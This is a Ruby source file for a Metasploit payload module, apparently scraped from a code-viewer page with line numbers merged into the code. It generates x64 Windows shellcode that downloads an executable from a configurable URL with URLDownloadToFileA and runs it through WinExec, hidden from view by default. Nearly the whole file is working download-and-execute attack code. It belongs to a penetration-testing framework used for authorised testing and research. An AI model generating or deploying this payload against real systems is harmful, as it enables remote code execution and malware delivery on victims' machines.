Path: blob/master/modules/payloads/singles/windows/x64/download_exec.rb
21094 views
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67module MetasploitModule8CachedSize = 353910include Msf::Payload::Single11include Msf::Payload::Windows12include Msf::Payload::Windows::BlockApi_x641314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Windows Download Execute',19'Description' => 'Downloads and executes the file from the specified url.',20'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',21'License' => MSF_LICENSE,22'Platform' => 'win',23'Arch' => ARCH_X6424)25)2627display_options = %w[HIDE SHOW]2829register_options(30[31OptString.new('URL', [true, 'The url to download the file from.', 'http://localhost/hi.exe']),32OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.exe']),33OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options])34]35)36end3738def generate(_opts = {})39url = datastore['URL'] || 'http://localhost/hi.exe'40file = datastore['FILEPATH'] || 'fox.exe'41display = datastore['DISPLAY'] || 'HIDE'4243payload = %^44cld45and rsp, -1646call main47#{asm_block_api}4849main:50pop rbp51call LoadLibrary52db "urlmon.dllK"5354LoadLibrary:55pop rcx ; rcx points to the dll name.56xor byte [rcx+10], 'K' ; null terminator57mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}58call rbp ; LoadLibraryA("urlmon.dll")59; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher.6061SetUrl:62call SetFile63db "#{url}A"6465SetFile:66pop rdx ; 2nd argument67xor byte [rdx+#{url.length}], 'A' ; null terminator68call UrlDownloadToFile69db "#{file}C"7071UrlDownloadToFile:72pop r8 ; 3rd argument73xor byte [r8+#{file.length}], 'C' ; null terminator74xor rcx,rcx ; 1st argument75xor r9,r9 ; 4th argument76sub rsp, 877push rcx ; 5th argument78mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')}79call rbp8081SetCommand:82call Exec83db "cmd /c #{file}F"8485Exec:86pop rcx ; 1st argument87xor byte [rcx+#{file.length + 7}], 'F' ; null terminator88mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')}89xor rdx, rdx ; 2nd argument90^9192if display == 'HIDE'93hide = %(94call rbp95)96payload << hide9798elsif display == 'SHOW'99show = %(100inc rdx ; SW_NORMAL = 1101call rbp102)103payload << show104end105106if datastore['EXITFUNC'] == 'process'107exit_asm = %(108xor rcx,rcx109mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}110call rbp111)112payload << exit_asm113114elsif datastore['EXITFUNC'] == 'thread'115exit_asm = %(116xor rcx,rcx117mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}118call rbp119)120payload << exit_asm121end122123Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string124end125end126127128